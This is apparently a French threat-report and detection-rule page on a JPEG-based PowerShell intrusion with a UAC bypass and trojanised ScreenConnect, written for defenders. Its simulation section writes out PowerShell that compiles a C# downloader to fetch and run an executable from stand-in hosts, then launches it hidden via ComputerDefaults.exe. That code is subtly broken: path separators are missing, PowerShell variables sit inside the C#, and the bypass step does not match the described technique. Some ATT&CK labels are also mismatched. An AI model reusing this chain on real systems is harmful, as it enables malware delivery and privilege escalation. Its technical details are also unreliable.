OPÉRATION SILENTCANVAS : INTRUSION MULTIPHASE POWERSHELL À BASE DE JPEG
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
L’opération SilentCanvas est une intrusion sophistiquée à plusieurs étapes qui cache une charge utile PowerShell malveillante dans un fichier JPEG nommé sysupdate.jpeg. Cette charge utile récupère et compile un lanceur personnalisé, qui est construit via csc.exe, exploite ComputerDefaults.exe pour effectuer une élévation de privilèges sans fichier (UAC bypass) et installe un service ConnectWise ScreenConnect trojanisé nommé OneDriveServers pour maintenir un accès à distance persistant. Le malware communique via des canaux chiffrés dirigés vers legitserver.theworkpc.com sur les ports 5443 and 8041. La campagne met également fortement l’accent sur l’évasion de la défense, la collecte de crédentiels et la surveillance discrète.
Enquête
Le rapport couvre à la fois l’analyse statique et dynamique du chargeur basé sur JPEG, le binaire compilé dynamiquement uds.exe , et les composants ScreenConnect modifiés. Les chercheurs ont identifié plusieurs techniques offensives, y compris le contournement de l’AMSI, l’exploitation de binaires installés, le détournement de registre et la dérivation de clés personnalisées pour la communication chiffrée. L’analyse de l’infrastructure a révélé une correspondance codée en dur entre legitserver.theworkpc.com et l’adresse IP 45.138.16.64. L’enquête a également révélé un profilage détaillé des victimes, la manipulation des comptes locaux et des fonctionnalités liées à l’accès au bureau caché.
Mitigation
Les défenseurs doivent appliquer une liste stricte d’autorisations pour les outils de surveillance et de gestion à distance légitimes et restreindre ou surveiller de près l’exécution de csc.exe, cvtres.exe, et ComputerDefaults.exe. La surveillance doit également se concentrer sur les changements de registre ms-settings suspects, le comportement de contournement de l’AMSI de PowerShell, les indicateurs de création de processus cachés et la création non autorisée de services impliquant le nom OneDriveServers. Tous les comptes qui ont pu être exposés doivent être réinitialisés, et les systèmes affectés doivent être isolés rapidement pour prévenir de nouveaux abus.
Réponse
Si des indicateurs associés sont détectés, le terminal doit être mis en quarantaine immédiatement, le uds.exe processus malveillant et l’activité PowerShell associée doivent être terminés, et le OneDriveServers service supprimé de l’hôte. Les enquêteurs doivent collecter des artefacts de registre, des binaires de service et des télémétries réseau liés à l’infrastructure de commande et de contrôle pour un examen médico-légal plus approfondi. Toutes les crédentiels privilégiées doivent être renouvelées, et les défenseurs doivent contrôler les schémas de mouvement latéral associés aux techniques documentées dans la campagne.
«graph TB
%% Définitions de classe
classDef action fill:#99ccff
classDef tool fill:#ffcc99
classDef malware fill:#ff9999
classDef process fill:#ccccff
%% Nœuds – Actions
action_initial_access[«Action – T1566 Phishing Attachment: L’e-mail livre un fichier malveillant sysupdate.jpeg déguisé en image.»]
class action_initial_access action
action_user_execution[«Action – T1204.002 Exécution par l’utilisateur et T1059.001 PowerShell: La victime double-clique sur le .jpeg qui lance le PowerShell intégré.»]
class action_user_execution action
action_execution[«Action – T1562.001 Désactivation des outils sécurité (contournement AMSI) et T1027 Obfuscation: Le script PowerShell évite la détection et cache la logique malveillante.»]
class action_execution action
action_dev_utility_abuse[«Action – T1127 Compilation après livraison et T1027.004 Fichiers obfusqués/stockés: Le script intègre le code source C# et compile avec csc.exe pour créer un lanceur personnalisé.»]
class action_dev_utility_abuse action
action_priv_esc[«Action – T1548.002 Détournement du flux d’exécution via le protocole ms-settings et T1218.002 Fichier HTML compilé utilisant ComputerDefaults.exe pour un contournement UAC sans fichier.»]
class action_priv_esc action
action_persistence[«Action – T1543.003 Service Windows nommé OneDriveServers et T1136.001 Compte local création de comptes administrateurs cachés pour un accès à long terme.»]
class action_persistence action
action_tool_hijack[«Action – T1553.002 Exécution de proxy binaire signé: Déploie un binaire ConnectWise ScreenConnect trojanisé exploitant des composants signés légitimes.»]
class action_tool_hijack action
action_credential_access[«Action – T1556.001 Accrochage de l’API de crédentiel et T1056.001 Capture d’entrée: Installe un crochet de fournisseur de crédentiels et un logger de frappe pour récolter des crédentiels utilisateur.»]
class action_credential_access action
action_collection[«Action – T1113 Capture d’écran, T1125 Capture vidéo, T1123 Capture audio, T1115 Données du presse-papiers: Recueille des informations visuelles, audio et du presse-papiers.»]
class action_collection action
action_discovery[«Action – T1518 Découverte de logiciel, T1010 Découverte de fenêtre d’application, T1082 Découverte d’informations système: Énumère les logiciels installés, les produits AV, les informations système et les fenêtres actives.»]
class action_discovery action
action_c2[«Action – T1573 Canal crypté: Configure un C2 chiffré utilisant des clés PBKDF2/HMAC-SHA256 et transfère des outils supplémentaires via T1105 Transfert d’outils d’entrée.»]
class action_c2 action
action_remote_execution[«Action – T1021 Services à distance: Exécute des commandes sur la victime via le cadre ScreenConnect.»]
class action_remote_execution action
action_impact[«Action – T1529 Arrêt/redémarrage du système: Peut déclencher un redémarrage du système ou un redémarrage en mode sans échec pour perturber l’environnement.»]
class action_impact action
%% Nœuds – Outils / Processus
tool_sysupdate_jpeg[«Outil – Nom: sysupdate.jpeg
Type: Pièce jointe malveillante déguisée en image»]
class tool_sysupdate_jpeg tool
tool_powershell[«Outil – Nom: PowerShell
Type: Moteur de script utilisé pour l’exécution et l’obfuscation»]
class tool_powershell tool
tool_csc[«Outil – Nom: csc.exe
Type: Compilateur C# utilisé sur l’hôte»]
class tool_csc tool
process_computerdefaults[«Processus – Nom: ComputerDefaults.exe
Description: Utilisé comme proxy pour un contournement UAC sans fichier»]
class process_computerdefaults process
tool_screenconnect[«Outil – Nom: ConnectWise ScreenConnect
Type: Logiciel d’accès à distance détourné avec charge utile malveillante»]
class tool_screenconnect tool
malware_keylogger[«Malware – Nom: Keylogger personnalisé
Objectif: Capturer les frappes et les crédentiels»]
class malware_keylogger malware
%% Connexions – Flux d’attaque
action_initial_access –>|livre| tool_sysupdate_jpeg
tool_sysupdate_jpeg –>|déclenche| action_user_execution
action_user_execution –>|exécute| tool_powershell
tool_powershell –>|réalise| action_execution
action_execution –>|utilise| tool_csc
tool_csc –>|créé| action_dev_utility_abuse
action_dev_utility_abuse –>|produit un lanceur pour| action_priv_esc
action_priv_esc –>|invoque| process_computerdefaults
process_computerdefaults –>|active| action_persistence
action_persistence –>|créé| action_tool_hijack
action_tool_hijack –>|installe| tool_screenconnect
tool_screenconnect –>|facilite| action_credential_access
action_credential_access –>|installe| malware_keylogger
malware_keylogger –>|active| action_collection
action_collection –>|alimente en données| action_c2
action_c2 –>|soutient| action_remote_execution
action_remote_execution –>|utilise| tool_screenconnect
action_remote_execution –>|mène à| action_impact
action_discovery –>|fournit des infos pour| action_c2
%% Style
class tool_sysupdate_jpeg tool
class tool_powershell tool
class tool_csc tool
class tool_screenconnect tool
class process_computerdefaults process
class malware_keylogger malware
»
Flux d’attaque
Détections
Possibilité de contournement UAC via l’interface COM CMSTPLUA [technique SafaPay] (via ligne de commande)
Voir
Possibilité d’énumération de logiciels antivirus ou pare-feu (via création de processus)
Voir
Logiciel d’accès/mise à niveau à distance alternatif (via création de processus)
Voir
Un fichier a été extrait dans un répertoire suspect à l’aide de Powershell (via powershell)
Voir
IOCs (HashSha256) pour détecter : OPÉRATION SILENTCANVAS : INTRUSION MULTIPLE ÉTAPES BASÉE SUR JPEG VIA POWERSHELL
Voir
IOCs (SourceIP) pour détecter : OPÉRATION SILENTCANVAS : INTRUSION MULTIPLE ÉTAPES BASÉE SUR JPEG VIA POWERSHELL
Voir
IOCs (DestinationIP) pour détecter : OPÉRATION SILENTCANVAS : INTRUSION MULTIPLE ÉTAPES BASÉE SUR JPEG VIA POWERSHELL
Voir
Communications chiffrées avec l’infrastructure d’attaquant via des ports non standard [Connexion réseau Windows]
Voir
Détection d’intrusion par abus de csc.exe et ComputerDefaults.exe [Création de processus Windows]
Voir
Exécution PowerShell avec contournement de l’AMSI [PowerShell Windows]
Voir
Exécution de simulation
Prérequis : Le contrôle préalable des télécommunications et des baselines doit avoir réussi.
Justification : Cette section détaille l’exécution précise de la technique d’adversaire (TTP) conçue pour activer la règle de détection. Les commandes et le récit doivent refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou sans rapport entraîneront une mauvaise interprétation.
-
Narration & commandes de l’attaque :
- Accès initial : L’attaquant obtient une session PowerShell à faible privilège sur le terminal.
- Compilation en temps réel : En utilisant le
csc.exedéjà disponible, l’attaquant compile un téléchargeur C# qui récupère une charge utile de deuxième étape à partir d’un serveur C2. La compilation est lancée à partir du processus PowerShell pour respecter la condition parent-enfant. - Élévation de privilèges sans fichier UAC : L’attaquant exécute l’exécutable nouvellement construit via
ComputerDefaults.exe, qui demande silencieusement une élévation sans afficher de demande UAC. - Exécution après élévation : La charge utile élevée établit une connexion sécurisée inversée avec l’adversaire.
# Étape 1 – Préparer le code source C# malveillant (en mémoire) $csSource = @" using System; using System.Net; using System.Diagnostics; public class Downloader { public static void Main() { using (WebClient wc = new WebClient()) { string payloadUrl = "http://malicious.example.com/payload.exe"; string tempPath = System.IO.Path.Combine($env:TEMP, "payload.exe"); wc.DownloadFile(payloadUrl, tempPath); Process.Start(tempPath); } } } "@ $srcPath = "$env:TEMPDownloader.cs" $exePath = "$env:TEMPDownloader.exe" $csSource | Out-File -FilePath $srcPath -Encoding ASCII # Étape 2 – Compiler via csc.exe (parent = PowerShell) & "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" /nologo /t:exe /out:$exePath $srcPath # Étape 3 – Déclencher le contournement UAC en utilisant ComputerDefaults.exe (encore enfant de PowerShell) $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe" Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden -
Script de test de régression : (script PowerShell autonome qui reproduit les étapes ci-dessus)
# ----------------------------------------------------------------- # Fichier : trigger_csc_uac_bypass.ps1 # Objectif : Simuler la chaîne d'attaque csc.exe + ComputerDefaults.exe # ----------------------------------------------------------------- # Créer le code source C# malveillant dans le répertoire TEMP $src = @" using System; using System.Net; using System.Diagnostics; public class Payload { public static void Main() { using (WebClient wc = new WebClient()) { string url = "http://example.com/evil.exe"; string path = System.IO.Path.Combine($env:TEMP, "evil.exe"); wc.DownloadFile(url, path); Process.Start(path); } } } "@ $srcPath = Join-Path $env:TEMP "Payload.cs" $exePath = Join-Path $env:TEMP "Payload.exe" $src | Out-File -FilePath $srcPath -Encoding ASCII # Compiler avec csc.exe (ce processus PowerShell devient le parent) $csc = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" & $csc /nologo /t:exe /out:$exePath $srcPath # Exécuter via ComputerDefaults.exe pour réaliser un contournement silencieux de l'UAC $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe" Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden -
Commandes de nettoyage :
# Supprimer les artefacts générés Remove-Item -Path "$env:TEMPPayload.cs" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPPayload.exe" -Force -ErrorAction SilentlyContinue # Terminer éventuellement les processus persistants démarrés par le test Get-Process -Name "evil" -ErrorAction SilentlyContinue | Stop-Process -Force